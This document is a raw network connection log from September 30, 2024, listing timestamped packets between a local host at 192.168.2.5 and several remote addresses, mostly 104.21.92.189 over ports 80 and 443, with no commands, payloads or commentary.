Sep 30, 2024 18:58:24.381666899 CEST	49745	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:24.386758089 CEST	80	49745	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:24.386835098 CEST	49745	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:24.391103983 CEST	49745	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:24.392694950 CEST	49746	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:24.396035910 CEST	80	49745	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:24.398005009 CEST	80	49746	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:24.398169994 CEST	49746	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:24.398926020 CEST	49746	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:24.403770924 CEST	80	49746	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:24.464806080 CEST	49747	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:24.471832991 CEST	80	49747	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:24.471929073 CEST	49747	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:24.473486900 CEST	49747	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:24.480297089 CEST	80	49747	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:24.858267069 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:24.858304024 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:24.858392954 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:24.859700918 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:24.859714031 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:25.070769072 CEST	80	49745	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.070902109 CEST	80	49746	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.072390079 CEST	80	49747	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.086612940 CEST	49749	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.086627960 CEST	443	49749	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.086786032 CEST	49749	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.088380098 CEST	49750	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.088388920 CEST	443	49750	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.088571072 CEST	49750	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.091377974 CEST	49751	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.091420889 CEST	443	49751	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.091479063 CEST	49751	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.092430115 CEST	80	49745	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.092487097 CEST	49745	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.100351095 CEST	80	49746	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.100430012 CEST	49746	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.101618052 CEST	49749	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.101632118 CEST	443	49749	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.106482029 CEST	49750	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.106497049 CEST	443	49750	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.106648922 CEST	49751	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.106673956 CEST	443	49751	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.188452005 CEST	80	49747	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.188549995 CEST	49747	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.578903913 CEST	443	49749	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.579027891 CEST	49749	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.585882902 CEST	49749	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.585897923 CEST	443	49749	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.586123943 CEST	443	49749	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.592426062 CEST	443	49750	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.592570066 CEST	49750	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.599457026 CEST	443	49751	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.599530935 CEST	49751	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.600965023 CEST	49749	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.601680994 CEST	49750	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.601692915 CEST	443	49750	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.602072954 CEST	443	49750	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.603799105 CEST	49751	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.603823900 CEST	443	49751	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.605912924 CEST	443	49751	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.611006975 CEST	49750	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.618145943 CEST	49751	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:25.647408962 CEST	443	49749	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.651412964 CEST	443	49750	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.663403988 CEST	443	49751	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:25.679183960 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:25.679284096 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:25.711055040 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:25.711081982 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:25.711467981 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:25.894262075 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:26.079864025 CEST	443	49749	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:26.080005884 CEST	443	49749	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:26.080162048 CEST	49749	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:26.106806993 CEST	443	49751	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:26.106906891 CEST	443	49751	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:26.109424114 CEST	443	49750	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:26.109520912 CEST	443	49750	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:26.109579086 CEST	49751	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:26.109616041 CEST	49750	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:26.805162907 CEST	443	49737	142.250.184.228	192.168.2.5
Sep 30, 2024 18:58:26.805229902 CEST	443	49737	142.250.184.228	192.168.2.5
Sep 30, 2024 18:58:26.805413008 CEST	49737	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:58:26.823373079 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:26.863413095 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.015429974 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.015455961 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.015469074 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.015484095 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.015492916 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.015496969 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.015526056 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:27.015541077 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.015568018 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:27.015594959 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:27.015796900 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.015806913 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.015829086 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.015868902 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:27.016124964 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:27.016535044 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.016599894 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.016648054 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:27.049658060 CEST	49748	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:58:27.049680948 CEST	443	49748	20.12.23.50	192.168.2.5
Sep 30, 2024 18:58:27.126775026 CEST	49749	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:27.140736103 CEST	49750	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:27.141809940 CEST	49751	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:27.978398085 CEST	49737	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:58:27.978478909 CEST	443	49737	142.250.184.228	192.168.2.5
Sep 30, 2024 18:58:30.103919983 CEST	49752	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:30.103972912 CEST	443	49752	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:30.104033947 CEST	49752	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:30.104784966 CEST	49752	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:30.104799032 CEST	443	49752	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:30.895684958 CEST	443	49752	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:30.895803928 CEST	49752	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:30.897548914 CEST	49752	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:30.897569895 CEST	443	49752	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:30.897854090 CEST	443	49752	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:30.899362087 CEST	49752	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:30.899467945 CEST	49752	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:30.899477959 CEST	443	49752	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:30.899578094 CEST	49752	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:30.943413973 CEST	443	49752	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:31.071400881 CEST	443	49752	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:31.071995020 CEST	443	49752	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:31.072060108 CEST	49752	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:31.090852022 CEST	49752	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:31.090881109 CEST	443	49752	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:32.605376005 CEST	49725	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:34.970172882 CEST	49754	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:34.975121975 CEST	80	49754	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:34.978624105 CEST	49754	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:34.980166912 CEST	49754	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:34.981317997 CEST	49755	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:34.985140085 CEST	80	49754	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:34.986294985 CEST	80	49755	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:34.986387968 CEST	49755	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:34.997261047 CEST	49755	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.004300117 CEST	80	49755	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.038263083 CEST	49756	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.043231010 CEST	80	49756	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.043334007 CEST	49756	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.044239044 CEST	49756	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.049042940 CEST	80	49756	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.502593040 CEST	80	49755	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.507814884 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.507860899 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.507919073 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.507978916 CEST	80	49754	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.511053085 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.511074066 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.511132956 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.512952089 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.512964964 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.515255928 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.515266895 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.566787958 CEST	80	49756	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.573267937 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.573312998 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.573487043 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.582726955 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.582746029 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.596829891 CEST	49754	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.602982998 CEST	49712	443	192.168.2.5	23.1.237.91
Sep 30, 2024 18:58:35.611172915 CEST	443	49712	23.1.237.91	192.168.2.5
Sep 30, 2024 18:58:35.662421942 CEST	49756	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.662422895 CEST	49755	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.978873968 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.978984118 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.980966091 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.980993032 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.983751059 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.990267992 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.991895914 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.992050886 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.993617058 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:35.993628025 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.993985891 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:35.999598980 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.035393000 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.043401957 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.045445919 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.045516014 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.047619104 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.047636986 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.047880888 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.054552078 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.095407009 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.503350973 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.503420115 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.503457069 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.503489971 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.503520012 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.503546000 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.503549099 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.503561020 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.503583908 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.503601074 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.504106998 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.504143953 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.504174948 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.504275084 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.504275084 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.504291058 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.508842945 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.508994102 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.509010077 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.530225039 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.530277967 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.530314922 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.530347109 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.530380011 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.530431032 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.530447006 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.530473948 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.530491114 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.530551910 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.530551910 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.530565023 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.530987024 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.531013966 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.531065941 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.531075954 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.531121016 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.557929993 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.557976007 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.558023930 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.558062077 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.558093071 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.558108091 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.558140039 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.558176041 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.558207989 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.558217049 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.558223009 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.558264971 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.558546066 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.558875084 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.560484886 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.560496092 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.591717958 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.591758966 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.591792107 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.591824055 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.591883898 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.591905117 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.591942072 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.591942072 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.592441082 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.592502117 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.592545986 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.592575073 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.592597008 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.592606068 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.592659950 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.592668056 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.593910933 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.594026089 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.594033957 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.594178915 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.602392912 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.602461100 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.602505922 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.602560043 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.602571011 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.602943897 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.603049994 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.603058100 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.603108883 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.603167057 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.603173971 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.603250980 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.603266954 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.603319883 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.603370905 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.603379965 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.603457928 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.622328043 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.622410059 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.622442007 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.622463942 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.622474909 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.622524977 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.622564077 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.622565031 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.622579098 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.622656107 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.622658014 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.622669935 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.622704983 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.623203993 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.623233080 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.623290062 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.623297930 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.623414040 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.623714924 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.644571066 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.644612074 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.644669056 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.644689083 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.644743919 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.644886971 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.645123005 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.645169020 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.645190001 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.645205021 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.645296097 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.645302057 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.645337105 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.645378113 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.645382881 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.646183968 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.646222115 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.646231890 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.646236897 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.646286011 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.646290064 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.646795034 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.646828890 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.646846056 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.646851063 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.646878004 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.646920919 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.646925926 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.646966934 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.658875942 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.659358025 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.659405947 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.659424067 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.659476042 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.659508944 CEST	443	49759	104.21.92.189	192.168.2.5
